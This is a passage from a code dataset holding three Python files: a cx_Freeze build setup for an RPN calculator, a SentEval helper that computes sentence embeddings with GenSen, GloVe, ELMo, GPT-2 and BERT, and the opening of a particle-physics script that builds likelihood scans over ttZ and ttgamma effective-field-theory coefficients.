"call"}, {"api_name": "panphon.FeatureTable", "line_number": 62, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 65, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 71, "usage_type": "call"}]} {"seq_id": "168297126", "text": "import sys\nfrom cx_Freeze import setup, Executable\n\n# GUI applications require a different base on Windows (the default is for a\n# console application).\nbase = None\nif sys.platform == \"win32\":\n base = \"Win32GUI\"\n\nsetup(\n name=\"XcalxS\",\n version=\"0.1.0\",\n description=\"RPN Calculator\",\n options={\n \"build_exe\": {\n \"include_msvcr\": False,\n \"optimize\": 2,\n \"packages\": [],\n \"includes\": ['atexit', 'solver_tab', 'solver_lex'],\n \"excludes\": [\"email\", 'PySide.QtNetwork'],\n \"bin_path_includes\": [],\n \"bin_path_excludes\": [],\n \"bin_includes\": [],\n \"bin_excludes\": ['imageformats/*.dll'],\n \"include_files\": [],\n },\n },\n executables=[\n Executable(\"xcalcs.py\", base=base),\n Executable(\"console.py\", base=base)\n ],\n )\n", "sub_path": "setup-cxfreeze.py", "file_name": "setup-cxfreeze.py", "file_ext": "py", "file_size_in_byte": 884, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.platform", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cx_Freeze.setup", "line_number": 10, "usage_type": "call"}, {"api_name": "cx_Freeze.Executable", "line_number": 29, "usage_type": "call"}, {"api_name": "cx_Freeze.Executable", "line_number": 30, "usage_type": "call"}]} {"seq_id": "632110067", "text": "# Elmo \nimport tensorflow_hub as hub\nimport tensorflow as tf \n\n# GPT2 \nimport numpy as np \nimport torch\nfrom pytorch_pretrained_bert import GPT2Tokenizer, GPT2Model, GPT2LMHeadModel\n\nfrom bert_serving.client import BertClient\nfrom gensen.gensen import GenSen, GenSenSingle\n\n#ELMO\nelmo = None\ngraph = None\nsess = None\n# Glove\nembeddings_index = None\n\n# GPT2\ntokenizer = None\nmodel = None \n\n# Bert\nbc = None\n\n# GPT2\ntokenizer = None\nmodel = None \n\n# Bert\nbc = None\n\n#Gensen\n\ngensen_1 = None\ngensen_2 = None\n\ndef getGensenEmb(batch,needPad = False,padLength = 30):\n\tglobal gensen_1\n\tglobal gensen_2\n\n\tif gensen_1 == None:\n\t\tgensen_1 = GenSenSingle(model_folder='gensen/data/models',filename_prefix='nli_large_bothskip',pretrained_emb='gensen/data/embedding/glove.840B.300d.h5')\n\t\tgensen_2 = GenSenSingle(model_folder = 'gensen/data/models',filename_prefix ='nli_large',pretrained_emb='./data/embedding/glove.840B.300d.h5')\n\toutput_1, sent_1 = gensen_1.get_representation(batch, pool='last', return_numpy=True, tokenize=False)\n\toutput_2, sent_2 = gensen_1.get_representation(batch, pool='last', return_numpy=True, tokenize=False)\n\tmaxLength = 0 \n\tfor i in range(len(output_1)):\n\t\tif len(output_1[i])> maxLength:\n\t\t\tmaxLength = len(output_1[i])\n\tlength = []\n\toutput = []\n\n\tfor i in range(len(output_1)):\n\t\ttemp = np.concatenate((output_1[i],output_2[i]),axis = 1)\n\t\tlength.append(len(temp[~np.all(temp==0,axis = 1)]))\n\t\t#print(length[-1])\n\t\t#if needPad:\n\t\t#\tif needPad == -1:\n\t\t#\t\tif len(temp) <= maxLength:\n\t\t#\t\t\ttemp = np.concatenate([temp,np.zeros([maxLength - len(temp),temp.shape[1]])])\n\t\t#\t\telse:\n\t\t#\t\t\ttemp = temp[:maxLength]\n\t\t#\telse:\n\t\t#\t\tif len(temp) <= padLength:\n\t\t#\t\t\ttemp = np.concatenate([np.array(wordList),np.zeros([padLength - len(wordList),300])])\n\t\t\t#\telse:\n\t\t\t#\t\ttemp = temp[:padLength]\n\t\toutput.append(temp) \n\n\treturn np.array(output),np.array(length) \ndef getGloveEmb(batch, needPad = False, padLength = 30, path = \"glove.840B.300d.txt\"):\n\t# Input format should be wordList (After tokenization)\n\t# padLength == -1, pad to the max length in this batch \n\tglobal embeddings_index\n\n\tlength = []\n\toutput = []\n\tmaxLength = 0 \n\n\tfor sentence in batch:\n\t\tif len(sentence) > maxLength:\n\t\t\tmaxLength = len(sentence)\n\n\tif embeddings_index == None or len(embeddings_index) == 0:\n\t\tprint(\"Load embedding\")\n\t\tembeddings_index = dict()\n\t\tprint(path)\n\t\tf = open(path , 'r', errors = 'ignore', encoding='utf8') # \"word2vec.6B.50d.txt\" for test \n\t\tfor line in f:\n\t\t\tsplitLine = line.split(' ') # For 3B splitLine = line.split()\n\t\t\tword = splitLine[0]\n\t\t\tcoefs = np.array([float(val) for val in splitLine[1:]])\n\t\t\tembeddings_index[word] = coefs\n\t\tf.close()\n\t\tprint(\"Finish loading\")\n\n\tfor sentence in batch:\n\t\t#print(sentence)\n\t\twordList = []\n\t\tfor vocab in sentence:\n\t\t\ttry:\n\t\t\t\twordList.append(embeddings_index[vocab])\n\t\t\texcept:\n\t\t\t\twordList.append(np.zeros(300))\n\t\tlength.append(len(wordList))\n\n\t\tif needPad:\n\t\t\tif padLength == -1:\n\t\t\t\tif len(sentence) < maxLength:\n\t\t\t\t\twordList = np.concatenate([np.array(wordList),np.zeros([maxLength - len(wordList),300])])\n\t\t\telse:\n\t\t\t\tif len(wordList) < padLength:\n\t\t\t\t\twordList = np.concatenate([np.array(wordList),np.zeros([padLength - len(wordList),300])])\n\t\t\t\telse:\n\t\t\t\t\twordList = np.array(wordList)[:padLength]\n\n\t\toutput.append(wordList)\n\n\n\treturn np.array(output),np.array(length) \n\n\ndef getElmoEmb(batch, needPad = False, padLength = 30):\n\t# Input format should be string without tokenization \n\tassert type(batch[0]) is str\n\tglobal elmo \n\tglobal graph \n\n\n\tif elmo == None:\n\t\tgraph = tf.Graph()\n\t\twith tf.Session(graph = graph) as sess:\n\t\t\telmo = hub.Module(\"https://tfhub.dev/google/elmo/2\")\n\t\t\tembeddings = elmo(batch,as_dict=True)[\"elmo\"]\n\t\t\tsess.run(tf.global_variables_initializer())\t\n\t\t\toutput = embeddings.eval(session = sess)\t\n\telse:\n\t\twith tf.Session(graph = graph) as sess:\n\t\t\tembeddings = elmo(batch,as_dict=True)[\"elmo\"]\n\t\t\tsess.run(tf.global_variables_initializer())\n\t\t\toutput = embeddings.eval(session = sess)\n\n\tif needPad:\n\t\toutput_temp = []\n\t\tfor i,sent in enumerate(output):\n\t\t\tif len(sent) > padLength:\n\t\t\t\toutput_temp.append(sent[:padLength,:])\n\t\t\telse:\n\t\t\t\tz = np.zeros([padLength-sent.shape[0],sent.shape[1]])\n\t\t\t\toutput_temp.append(np.concatenate([sent,z]))\n\t\toutput = np.array(output_temp)\n\n\treturn output, [len(output[0])]*len(batch) \n\ndef getGPT2Emb(batch, needPad = False, padLength = 30):\n\t# Input format should be word List(After tokenization)\n\t#assert type(batch[0]) is not str\n\toutput = []\n\tlength = []\n\n\tglobal model\n\tglobal tokenizer\n\tif model == None:\n\t\ttokenizer = GPT2Tokenizer.from_pretrained('gpt2')\n\t\tmodel = GPT2Model.from_pretrained('gpt2')\n\n\tfor text in batch:\n\t\tindexed_tokens_1 = tokenizer.encode(text)\n\t\ttokens_tensor_1 = torch.tensor([indexed_tokens_1])\n\t\twith torch.no_grad():\n\t\t\thidden_states_1, past = model(tokens_tensor_1)\n\t\t\tlength.append(len(hidden_states_1[0]))\n\t\t\toutput.append(hidden_states_1[0].numpy())\n\n\tif needPad:\n\t\toutput_temp = [ ]\n\t\tmaxLength = np.array(length).max()\n\n\t\tif padLength == -1 :\n\t\t\tfor i,hidden_states_1 in enumerate(output):\n\t\t\t\tif hidden_states_1.shape[0] < maxLength:\n\t\t\t\t\toutput_temp.append(np.concatenate([hidden_states_1,np.zeros([maxLength-hidden_states_1.shape[0],hidden_states_1.shape[1]])]))\n\t\t\t\telse:\n\t\t\t\t\toutput_temp.append(hidden_states_1[:maxLength,:])\n\t\telse:\n\t\t\tfor i,hidden_states_1 in enumerate(output):\n\t\t\t\tif hidden_states_1.shape[0] < padLength:\n\t\t\t\t\toutput_temp.append(np.concatenate([hidden_states_1,np.zeros([padLength-hidden_states_1.shape[0],hidden_states_1.shape[1]])]))\n\t\t\t\telse:\n\t\t\t\t\toutput_temp.append(hidden_states_1[:padLength,:])\n\n\t\toutput = np.array(output_temp)\n\n\treturn np.array(output),np.array(length)\n\ndef getBertEmb(batch,needPad = False, padLength = 30):\n\tglobal bc\n\tif bc == None:\n\t\tbc = BertClient()\n\toutput = bc.encode(batch)\n\tlength = []\n\toutput1 = []\n\n\tfor i,emb in enumerate(output):\n\t\toutput1.append(emb[~np.all(emb == 0, axis=1)])\n\t\t#print(\"output_1:\",len(output1[-1]))\n\t\tlength.append(len(output1[i]))\n\treturn np.array(output),np.array(length)\n\n\n", "sub_path": "SentEval-master-new/embedding.py", "file_name": "embedding.py", "file_ext": "py", "file_size_in_byte": 6027, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gensen.gensen.GenSenSingle", "line_number": 44, "usage_type": "call"}, {"api_name": "gensen.gensen.GenSenSingle", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow_hub.Module", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 153, "usage_type": "call"}, {"api_name": "pytorch_pretrained_bert.GPT2Tokenizer.from_pretrained", "line_number": 166, "usage_type": "call"}, {"api_name": "pytorch_pretrained_bert.GPT2Tokenizer", "line_number": 166, "usage_type": "name"}, {"api_name": "pytorch_pretrained_bert.GPT2Model.from_pretrained", "line_number": 167, "usage_type": "call"}, {"api_name": "pytorch_pretrained_bert.GPT2Model", "line_number": 167, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 196, "usage_type": "call"}, {"api_name": "bert_serving.client.BertClient", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 210, "usage_type": "call"}]} {"seq_id": "277001722", "text": "''' Plot script WC parameter LogLikelihood\n'''\n\n# Standard imports \nimport sys\nimport ROOT\nimport imp\nimport pickle\nimport ctypes\nimport numpy as np\n\nfrom math import sqrt\n# turn off graphics\nROOT.gROOT.SetBatch( True )\n\n# RootTools\nfrom RootTools.core.standard import *\n\nfrom plot_helpers import getUncertaintyValue, getObservationValue\nfrom multiprocessing import Pool\n\n# Logger\nimport TTXPheno.Tools.logger as logger\nimport RootTools.core.logger as logger_rt\nlogger = logger.get_logger( 'DEBUG', logFile = None)\nlogger_rt = logger_rt.get_logger('INFO', logFile = None)\n\n# TTXPheno\nfrom TTXPheno.samples.benchmarks import * \nfrom TTXPheno.Tools.user import plot_directory, cardfileLocation\n\n# get the reweighting function\nfrom TTXPheno.Tools.WeightInfo import WeightInfo\n\nROOT.gStyle.SetNumberContours(255)\n\n# Arguments\nimport argparse\n\nargParser = argparse.ArgumentParser(description = \"Argument parser\")\nargParser.add_argument('--version', action='store', default='test', help='Appendix to plot directory')\nargParser.add_argument('--process', action='store', default='ttZ_3l', nargs='?', choices=['ttZ_3l', 'ttZ_4l', 'ttgamma_1l', 'ttgamma_2l'], help=\"which process to calculate?\")\nargParser.add_argument('--bestFit', action='store_true', help='Run combine with bestFit scenario (wide r ranges)')\nargParser.add_argument('--removeCardFiles', action='store_true', help='remove cardfiles after calculation?')\nargParser.add_argument('--useCombine', action='store_true', help='use Higgs Combine Tool?')\nargParser.add_argument('--fitOnly', action='store_true', help='do you already have the cardfiles?')\nargParser.add_argument('--sample', action='store', default='fwlite_ttZ_ll_LO_order2_15weights_ref', help='Sample name specified in sample/python/benchmarks.py, e.g. fwlite_ttZ_ll_LO_order2_15weights_ref')\nargParser.add_argument('--order', action='store', default=2, help='Polynomial order of weight string (e.g. 2)')\nargParser.add_argument('--selection', action='store', default='lepSel3-onZ-njet3p-nbjet1p-Zpt0', help=\"Specify cut.\")\nargParser.add_argument('--small', action='store_true', help='Run only on a small subset of the data?')\nargParser.add_argument('--contours', action='store_true', help='draw 1sigma and 2sigma contour line?')\nargParser.add_argument('--smooth', action='store_true', help='smooth histogram?')\nargParser.add_argument('--level', action='store', default='reco', nargs='?', choices=['reco', 'gen'], help='Which level of reconstruction? reco, gen')\nargParser.add_argument('--variables' , action='store', default = ['ctZ', 'ctZI'], type=str, nargs=2, help = \"argument plotting variables\")\nargParser.add_argument('--binning', action='store', default = [1, -2, 2, 1, -2, 2], type=float, nargs=6, help = \"argument parameters\")\nargParser.add_argument('--zRange', action='store', default = [None, None], type=float, nargs=2, help = \"argument parameters\")\nargParser.add_argument('--luminosity', action='store', default=150, type=int, help='Luminosity for weighting the plots')\nargParser.add_argument('--scale', action='store', default=None, help='Luminosity for weighting the plots')\nargParser.add_argument('--cores', action='store', default=8, type=int, help='number of cpu cores for multicore processing')\nargParser.add_argument('--overwrite', action='store_true', help='overwrite datafile?')\nargParser.add_argument('--binMultiplier', action='store', default=3, type=int, help='bin multiplication factor')\nargParser.add_argument('--detector', action='store', default='CMS', nargs='?', choices=['CMS', 'ATLAS', 'phase2_CMS'], help='Which Delphes detector simulation?')\nargParser.add_argument('--scale14TeV', action='store_true', help='scale 13 TeV cross-sections to 14 Tev?')\nargParser.add_argument('--additionalCardFile', action='store', default='TopEFTCardFile.txt', help='Cardfile where additional uncertainties are taken from')\nargParser.add_argument('--addNonPrompt', action='store_true', help='add nonPrompt?')\nargParser.add_argument('--addUncertainties', action='store', default = ['trigger_2016','scale','scale_sig','PDF','PartonShower','nonprompt','WZ_xsec', 'ttX'], type=str, help = \"add additional uncertainties from cardFile\")\nargParser.add_argument('--addBinNumberShift', action='store', default = 0, type=int, help = \"which bin number does the region start in the additional card file?\")\nargParser.add_argument('--uncertaintyScale', action='store', default = 0.5, type=float, help = \"scale factor for additional uncertainties\")\nargParser.add_argument('--statOnly', action='store_true', help='use only statistical uncertainties')\nargParser.add_argument('--noExpUnc', action='store_true', help='use only statistical and theory uncertainties')\n\nargs = argParser.parse_args()\n\nfor unc in ['trigger_2016', 'nonprompt']:\n if unc in args.addUncertainties and args.noExpUnc: args.addUncertainties.remove(unc)\n\nif args.level == 'gen':\n if 'ttZ' in args.process.split('_'):\n if args.small: from TTXPheno.Analysis.regions import genttZRegionsSmall as regions\n else: from TTXPheno.Analysis.regions import genttZRegions as regions\n elif 'ttgamma' in args.process.split('_'):\n if args.small: from TTXPheno.Analysis.regions import genttgammaRegionsSmall as regions\n else: from TTXPheno.Analysis.regions import genttgammaRegions as regions\n\n # Import additional functions/classes specified for the level of reconstruction\n from TTXPheno.Tools.cutInterpreterGen import cutInterpreter\n\nelif args.level == 'reco':\n if 'ttZ' in args.process.split('_'):\n if args.small: from TTXPheno.Analysis.regions import recottZRegionsSmall as regions\n else: from TTXPheno.Analysis.regions import recottZRegions as regions\n elif 'ttgamma' in args.process.split('_'):\n if args.small: from TTXPheno.Analysis.regions import recottgammaRegionsSmall as regions\n else: from TTXPheno.Analysis.regions import recottgammaRegions as regions\n\n # Import additional functions/classes specified for the level of reconstruction\n from TTXPheno.Tools.cutInterpreterReco import cutInterpreter\n\n#binning range\nbinningX = args.binning[:3]\nbinningY = args.binning[3:]\n\nif binningX[0] > 1:\n xRange = np.linspace( binningX[1], binningX[2], int(binningX[0]), endpoint=False)\n xRange = [ el + 0.5 * ( xRange[1] - xRange[0] ) for el in xRange ]\nelse:\n xRange = [ 0.5 * ( binningX[1] + binningX[2] ) ]\n\nif binningY[0] > 1:\n yRange = np.linspace( binningY[1], binningY[2], int(binningY[0]), endpoint=False)\n yRange = [ el + 0.5 * ( yRange[1] - yRange[0] ) for el in yRange ]\nelse:\n yRange = [ 0.5 * ( binningY[1] + binningY[2] ) ]\n\naddon = []\nif args.statOnly: addon += [\"statOnly\"]\nif args.noExpUnc: addon += [\"noExpUnc\"]\n#save data file\nfilename = '_'.join( ['nll', args.detector ] + args.sample.split('_')[1:3] + args.variables + map( str, args.binning ) + [ args.selection, str(args.luminosity), \"14TeV\" if args.scale14TeV else \"13TeV\" ] + addon ) + '.data'\n\n#do the calculation\nif not os.path.isfile('dat/' + filename) or args.overwrite:\n\n if not args.fitOnly:\n\n # Import samples\n sample_file = \"$CMSSW_BASE/python/TTXPheno/samples/benchmarks.py\"\n loadedSamples = imp.load_source( \"samples\", os.path.expandvars( sample_file ) )\n\n ttXSample = getattr( loadedSamples, args.sample + '_%s' %args.detector )\n WZSample = getattr( loadedSamples, 'fwlite_WZ_lep_LO_order2_15weights_%s' %args.detector )\n # ttSample = getattr( loadedSamples, 'fwlite_tt_full_LO_order2_15weights_%s' %args.detector )\n # tWSample = getattr( loadedSamples, 'fwlite_tW_LO_order2_15weights_%s' %args.detector )\n tWZSample = getattr( loadedSamples, 'fwlite_tWZ_LO_order2_15weights_%s' %args.detector )\n tZqSample = getattr( loadedSamples, 'fwlite_tZq_LO_order2_15weights_%s' %args.detector )\n # ZgammaSample = getattr( loadedSamples, 'fwlite_Zgamma_LO_order2_15weights_%s' %args.detector )\n ttgammaSample = getattr( loadedSamples, 'fwlite_ttgamma_bg_LO_order2_15weights_%s' %args.detector )\n\n #if args.process.split('_')[0] == 'ttgamma':\n # ttgammaIsrSample = copy.deepcopy( ttXSample ) #select ttgamma events with isolated gamma from ISR (cat a2)\n # ttgammaIsrSample.name = 'fwlite_ttgamma_ISR_LO_order2_15weights_ref'\n\n if args.process == 'ttZ_3l': bg = [ WZSample, tWZSample, tZqSample, ttgammaSample ]\n # if args.process == 'ttZ_3l': bg = [ WZSample, tWZSample, tZqSample ]\n elif args.process == 'ttZ_4l': bg = [ WZSample, tWZSample, tZqSample, ttgammaSample ]\n elif args.process == 'ttgamma_1l': bg = [ ttSample, tWSample, tWZSample, tZqSample, ZgammaSample ]\n elif args.process == 'ttgamma_2l': bg = [ ttSample, tWSample, tWZSample, tZqSample, ZgammaSample ]\n\n def checkReferencePoint( sample ):\n ''' check if sample is simulated with a reference point\n '''\n return pickle.load(file(sample.reweight_pkl))['ref_point'] != {}\n\n # set selection string\n selectionString = cutInterpreter.cutString(args.selection)\n selectionString_up = selectionString.replace('nBTag','nBTag_JEC_up').replace('nrecoJet','nrecoJets_JEC_up')\n selectionString_down = selectionString.replace('nBTag','nBTag_JEC_down').replace('nrecoJet','nrecoJets_JEC_down')\n\n # somehow has to be separate from the next loop\n if args.small:\n for s in [ttXSample] + bg:\n s.reduceFiles( to = 15 )\n\n # configure samples\n for s in [ttXSample] + bg:\n\n s.event_factor = s.nEvents / float( s.chain.GetEntries() )\n s.xsecScaleFactor = s.xsec14 / s.xsec if args.scale14TeV else 1.\n s.weightInfo = WeightInfo( s.reweight_pkl )\n s.weightInfo.set_order( args.order )\n s.setSelectionString( selectionString )\n\n if checkReferencePoint( s ):\n s.setWeightString( 'ref_lumiweight1fb*(%s)*(%s)*(%s)'%( str(args.luminosity), str(s.event_factor), str(s.xsecScaleFactor) ) )\n else:\n s.setWeightString( 'lumiweight1fb*(%s)*(%s)*(%s)'%( str(args.luminosity), str(s.event_factor), str(s.xsecScaleFactor) ) )\n\n # overlap removal\n if args.process.split('_')[0] == 'ttgamma':\n ttXSample.addSelectionString( \"(nonIsoPhoton!=1)\" ) \n ttSample.addSelectionString( \"(nonIsoPhoton==1)\" ) \n\n for var in args.variables:\n if var not in ttXSample.weightInfo.variables and not (args.variables[0] == 'cuB' and args.variables[1] == 'cuW'):\n raise ValueError('Input variable not in gridpack: %s' %var)\n\n observation = {}\n\n signal_btagging_uncertainty = {}\n signal_mistagging_uncertainty = {}\n signal_jes_uncertainty = {}\n signal_electronId_uncertainty = {}\n signal_muonId_uncertainty = {}\n\n ttX_SM_rate = {}\n ttX_coeffList = {}\n\n ttX_coeffList_reweighted_btagging = {}\n ttX_coeffList_reweighted_mistagging = {}\n ttX_coeffList_reweighted_muonId = {}\n ttX_coeffList_reweighted_electronId = {}\n ttX_coeffList_reweighted_jes_up = {}\n ttX_coeffList_reweighted_jes_down = {}\n\n background_rate = {}\n background_btagging_uncertainty = {}\n background_mistagging_uncertainty = {}\n background_jes_uncertainty = {}\n background_electronId_uncertainty = {}\n background_muonId_uncertainty = {}\n\n nonPromptObservation = {}\n\n for i_region, region in enumerate(regions):\n # compute signal yield for this region (this is the final code)\n\n logger.info( \"At region %s\", region )\n\n # ttX SM\n ttX_coeffList[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString() )\n ttX_SM_rate[region] = ttXSample.weightInfo.get_weight_yield( ttX_coeffList[region] )\n\n if not args.statOnly:\n # uncertainty coeffLists\n ttX_coeffList_reweighted_btagging[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString(), weightString=\"reweight_BTag_B\" )\n ttX_coeffList_reweighted_mistagging[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString(), weightString=\"reweight_BTag_L\" )\n ttX_coeffList_reweighted_muonId[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString(), weightString=\"reweight_id_mu\" )\n ttX_coeffList_reweighted_electronId[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString(), weightString=\"reweight_id_ele\" )\n\n ttXSample.setSelectionString( selectionString_up )\n ttX_coeffList_reweighted_jes_up[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString() )\n \n ttXSample.setSelectionString( selectionString_down )\n ttX_coeffList_reweighted_jes_down[region] = ttXSample.weightInfo.getCoeffListFromDraw( ttXSample, selectionString = region.cutString() )\n\n # reset selectionstring\n ttXSample.setSelectionString( selectionString )\n\n background_rate[region] = {}\n background_btagging_uncertainty[region] = {}\n background_mistagging_uncertainty[region] = {}\n background_jes_uncertainty[region] = {}\n background_muonId_uncertainty[region] = {}\n background_electronId_uncertainty[region] = {}\n\n for i_background, background in enumerate(bg):\n # compute bg yield for this region (this is the final code)\n\n background_rate [region][background.name] = background.getYieldFromDraw( selectionString=region.cutString() )['val']\n\n if not args.statOnly and not args.noExpUnc:\n #calculate btagging uncert.\n background_rate_reweighted = background.getYieldFromDraw( selectionString=region.cutString(), weightString=\"reweight_BTag_B\" )['val']\n background_btagging_uncertainty [region][background.name] = 1 + (( background_rate_reweighted - background_rate[region][background.name] ) / background_rate[region][background.name]) if background_rate[region][background.name] > 0 else 1.\n\n #calculate mistagging uncert.\n background_rate_reweighted = background.getYieldFromDraw( selectionString=region.cutString(), weightString=\"reweight_BTag_L\" )['val']\n background_mistagging_uncertainty [region][background.name] = 1 + (( background_rate_reweighted - background_rate[region][background.name] ) / background_rate[region][background.name]) if background_rate[region][background.name] > 0 else 1.\n\n #calculate muon Id uncert.\n background_rate_reweighted = background.getYieldFromDraw( selectionString=region.cutString(), weightString=\"reweight_id_mu\" )['val']\n background_muonId_uncertainty [region][background.name] = 1 + (( background_rate_reweighted - background_rate[region][background.name] ) / background_rate[region][background.name]) if background_rate[region][background.name] > 0 else 1.\n\n background_rate_reweighted = background.getYieldFromDraw( selectionString=region.cutString(), weightString=\"reweight_id_ele\" )['val']\n #calculate electron Id uncert.\n background_electronId_uncertainty [region][background.name] = 1 + (( background_rate_reweighted - background_rate[region][background.name] ) / background_rate[region][background.name]) if background_rate[region][background.name] > 0 else 1.\n\n # set selectionstring to JES_up\n background.setSelectionString( selectionString_up )\n background_rate_reweighted_up = background.getYieldFromDraw( selectionString=region.cutString() )['val']\n # set selectionstring to JES_up\n background.setSelectionString( selectionString_down )\n background_rate_reweighted_down = background.getYieldFromDraw( selectionString=region.cutString() )['val']\n # reset selectionstring\n background.setSelectionString( selectionString )\n #calculate JES uncert.\n background_jes_uncertainty [region][background.name] = 1 + (( background_rate_reweighted_up - background_rate_reweighted_down ) / (2*background_rate[region][background.name])) if background_rate[region][background.name] > 0 else 1.\n\n nonPromptObservation[region] = 0.\n if args.addNonPrompt:\n # scale nonprompt observation value from Run2 to args.luminosity\n nonPromptObservation[region] = getObservationValue( args.additionalCardFile, args.addBinNumberShift + i_region, 'nonPromptDD' ) * float(args.luminosity) / 35.9\n\n # Our expected observation :-)\n # add nonPrompt observation to total observation\n observation[region] = int( round( sum( background_rate[region].values() ) + ttX_SM_rate[region] + nonPromptObservation[region] ) )\n\n\n # Write temporary card file\n from TTXPheno.Tools.cardFileWriter import cardFileWriter\n# c = cardFileWriter.cardFileWriter()\n if args.useCombine:\n from TTXPheno.Tools.user import combineReleaseLocation\n# c.releaseLocation = combineReleaseLocation\n else:\n # non CMS NLL plot\n from TTXPheno.Analysis.ProfiledLoglikelihoodFit import ProfiledLoglikelihoodFit\n\n def cuBWtoctWZ( cuB, cuW ):\n ''' transforms C_tZ and C_tW to C_uB and C_uW\n C_tZ = Re( -sW*C_uB + cW*C_uW )\n C_tW = Re( C_uW )\n arXiv: 1802.07237\n '''\n sW=0.4715\n cW=0.8819\n\n ctW = cuW\n ctZ = -sW*cuB + cW*cuW\n\n return ctZ, ctW\n\n\n def calculation( variables ):\n #def calculation( var1, var2 ):\n\n if args.variables[0] == 'cuB' and args.variables[1] == 'cuW':\n var1, var2 = variables #cuB cuW\n ctZ, ctW = cuBWtoctWZ( var1, var2 )\n kwargs = { 'ctZ':ctZ, 'ctW':ctW }\n else:\n var1, var2 = variables\n kwargs = { args.variables[0]:var1, args.variables[1]:var2 }\n\n nameList = args.sample.split('_')[1:3] + args.variables + args.binning + [ args.level, args.version, args.order, args.luminosity, \"14TeV\" if args.scale14TeV else \"13TeV\", args.selection, 'small' if args.small else 'full', 'statOnly' if args.statOnly else 'fullUnc' if not args.noExpUnc else 'noExpUnc', var1, var2 ]\n cardname = '%s_nll_card'%'_'.join( map( str, nameList ) )\n cardFilePath = os.path.join( cardfileLocation, cardname + '.txt' )\n\n c = cardFileWriter.cardFileWriter()\n if args.useCombine:\n c.releaseLocation = combineReleaseLocation\n\n if not args.fitOnly:\n# print 'run cardfile'\n\n # uncertainties\n c.reset()\n if not args.statOnly:\n if not args.noExpUnc:\n c.addUncertainty('lumi', 'lnN')\n c.addUncertainty('JES', 'lnN')\n c.addUncertainty('btagging', 'lnN')\n c.addUncertainty('mistagging', 'lnN')\n c.addUncertainty('muonId', 'lnN')\n c.addUncertainty('electronId', 'lnN')\n for unc in args.addUncertainties:\n c.addUncertainty(unc, 'lnN')\n\n signal_rate = {}\n for i_region, region in enumerate(regions):\n\n signal_rate[region] = ttXSample.weightInfo.get_weight_yield( ttX_coeffList[region], **kwargs)\n\n if not args.statOnly and not args.noExpUnc:\n # signal uncertainties\n # btagging\n signal_rate_reweighted = ttXSample.weightInfo.get_weight_yield( ttX_coeffList_reweighted_btagging[region], **kwargs )\n signal_btagging_uncertainty [region] = 1 + (( signal_rate_reweighted - signal_rate[region] ) / signal_rate[region]) if signal_rate[region] > 0 else 1.\n\n # mistagging\n signal_rate_reweighted = ttXSample.weightInfo.get_weight_yield( ttX_coeffList_reweighted_mistagging[region], **kwargs )\n signal_mistagging_uncertainty [region] = 1 + (( signal_rate_reweighted - signal_rate[region] ) / signal_rate[region]) if signal_rate[region] > 0 else 1.\n\n # muonId\n signal_rate_reweighted = ttXSample.weightInfo.get_weight_yield( ttX_coeffList_reweighted_muonId[region], **kwargs )\n signal_muonId_uncertainty [region] = 1 + (( signal_rate_reweighted - signal_rate[region] ) / signal_rate[region]) if signal_rate[region] > 0 else 1.\n\n # electronId\n signal_rate_reweighted = ttXSample.weightInfo.get_weight_yield( ttX_coeffList_reweighted_electronId[region], **kwargs )\n signal_electronId_uncertainty [region] = 1 + (( signal_rate_reweighted - signal_rate[region] ) / signal_rate[region]) if signal_rate[region] > 0 else 1.\n\n # JES\n signal_rate_reweighted_JES_up = ttXSample.weightInfo.get_weight_yield( ttX_coeffList_reweighted_jes_up[region], **kwargs )\n signal_rate_reweighted_JES_down = 